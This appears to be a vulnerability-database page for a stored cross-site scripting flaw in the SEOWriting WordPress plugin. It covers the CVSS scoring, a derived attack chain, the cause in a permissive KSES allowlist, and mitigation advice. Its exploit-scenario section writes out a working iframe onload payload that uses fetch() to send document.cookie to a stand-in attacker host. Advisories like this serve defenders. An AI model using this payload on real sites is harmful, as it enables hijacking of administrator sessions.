Skip to main content

SEOWriting Plugin EUVDEUVD-2026-70263

| CVE-2026-75134 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-02 VulnCheck GHSA-74xq-2f66-pchm
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or register Contributor-level WordPress account
  2. Delivery
    Craft post embedding iframe with onload JavaScript payload
  3. Exploit
    Submit post triggering storage through permissive KSES allowlist
  4. Execution
    Higher-privileged user opens post for review or preview
  5. Persist
    Stored payload executes in admin browser session
  6. Impact
    Exfiltrate session token or forge privileged actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid Contributor-level (or higher) WordPress account on the target site - unauthenticated exploitation is not possible per the CVSS PR:L metric. A victim with Editor or Administrator privileges must actively open or preview the attacker-authored post (CVSS UI:P); automated triggering without victim interaction is not supported by the described mechanism. The SEOWriting plugin must be installed and active, and the target post must have been saved with the malicious iframe payload intact through the permissive KSES filter. No additional non-default server configuration is required - the vulnerable allowlist is part of the plugin's default code path. Exploitation risk is reduced on sites that disable open user registration, restrict Contributor role assignments to vetted personnel, or require administrator approval before posts are made accessible to other staff.

Impact

The CVSS 4.0 score of 5.1 (Medium) accurately captures the constrained exploitation prerequisites - Contributor-level authentication (PR:L) and passive victim interaction (UI:P) - but understates business impact in privileged-access scenarios: a payload executing in an Administrator's session can harvest session tokens, silently create rogue admin accounts, or install malicious plugins, all consistent with the 'Privilege Escalation' tag attached to this CVE. The subsequent-system impact metrics SC:L/SI:L reflect this cross-session reach. No EPSS data was provided for probabilistic cross-referencing; however, the publicly available PoC on GitHub materially lowers the attacker skill threshold, meaning the Contributor-authentication barrier is now the primary obstacle - not technical complexity. The absence of a CISA KEV listing suggests mass automated exploitation has not yet been observed, but even a mid-sized municipal IT team in tczew running a WordPress site with contributor-level editorial staff should treat this as an elevated near-term priority before the PoC is incorporated into automated WordPress scanning toolchains. CVSS indicates network vector with low privileges, which is consistent with the described web-based stored XSS; no vector conflicts are identified.

Exploit ScenarioDerived

A threat actor registers or compromises a Contributor-level account on the target WordPress site, then crafts a post containing a payload such as <iframe src='about:blank' onload='fetch("https://attacker.example/log?"+document.cookie)'></iframe> and submits it for editorial review. When an Administrator or Editor opens the post preview, the onload handler fires in their authenticated browser session, exfiltrating the session cookie to the attacker's server. The publicly available PoC on GitHub (https://github.com/Elymaro/CVE/blob/main/WordPress/CVE-2026-75134.md) confirms this scenario is reproducible with minimal attacker skill.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 02, 2026

Stored cross-site scripting in the SEOWriting WordPress plugin (through version 1.12.5) allows authenticated Contributor-level users to inject arbitrary JavaScript that executes in the browser session of higher-privileged users - Editors or Administrators - who view or preview the affected post. The root cause is a misconfigured KSES allowlist that explicitly whitelists the onload event attribute on iframe elements, bypassing WordPress's built-in content sanitization. A publicly available proof-of-concept confirms the attack path is reproducible; the vulnerability is not currently listed in the CISA KEV catalog, suggesting active exploitation has not been widely observed at time of analysis.

RemediationAI

No patched version has been confirmed in any available reference as of this analysis; the VulnCheck advisory (https://www.vulncheck.com/advisories/seowriting-wordpress-plugin-stored-xss-via-iframe-onload) and the WordPress plugin page (https://wordpress.org/plugins/seowriting/) should be monitored for a security release. Until a patch is available, site operators should deactivate and uninstall the SEOWriting plugin to eliminate the vulnerable KSES allowlist. As a compensating control, administrators should audit and minimize Contributor-level accounts, ensuring only fully trusted users hold that role, since the attack requires at minimum Contributor access. Additionally, deploying a WordPress WAF plugin such as Wordfence or NinjaFirewall with rules blocking onload attribute injection in post bodies can reduce exploitation risk; note this may conflict with legitimate iframe usage elsewhere on the site. Content Security Policy (CSP) headers that block inline event handlers can also reduce the impact of any stored payload that evades sanitization.

Affected VersionsENISA

SEOWriting 0 ≤1.12.5

Affected Packages

euvd seowriting no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

WordPress uses a content-sanitization library called KSES (Kses Strips Evil Scripts) to strip dangerous HTML and JavaScript event handlers from user-submitted post content before storage and rendering. The SEOWriting plugin registers a custom KSES allowlist override that, contrary to secure defaults, explicitly permits the onload event attribute on iframe elements - a JavaScript execution vector. When a Contributor submits content containing <iframe onload="...">, WordPress's sanitization passes the payload through intact rather than stripping the event handler, because the plugin's allowlist grants that permission. On subsequent rendering - including post preview and publication views - the stored payload executes in the browser of any user who opens the content. The flaw is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting), specifically the persistent/stored variant. The CPE string cpe:2.3:a:seowriting:seowriting:*:*:*:*:*:*:*:* indicates all versions through 1.12.5 are within scope.

Know when Seowriting gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Stored XSS executes in a different privileged user's session (S:C, scope change); Contributor auth required (PR:L); victim must open post (UI:R); no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

SEOWriting plugin for WordPress through 1.12.5 contains a stored cross-site scripting vulnerability that allows authenticated contributors to inject malicious JavaScript by exploiting an overly permissive KSES allowlist that explicitly permits the onload event handler on iframe elements. Attackers can store crafted JavaScript payloads in post content that execute when the affected post is viewed or previewed by higher-privileged users, potentially leading to privilege escalation or account compromise.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Low
niche WordPress SEO plugin, limited install base
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy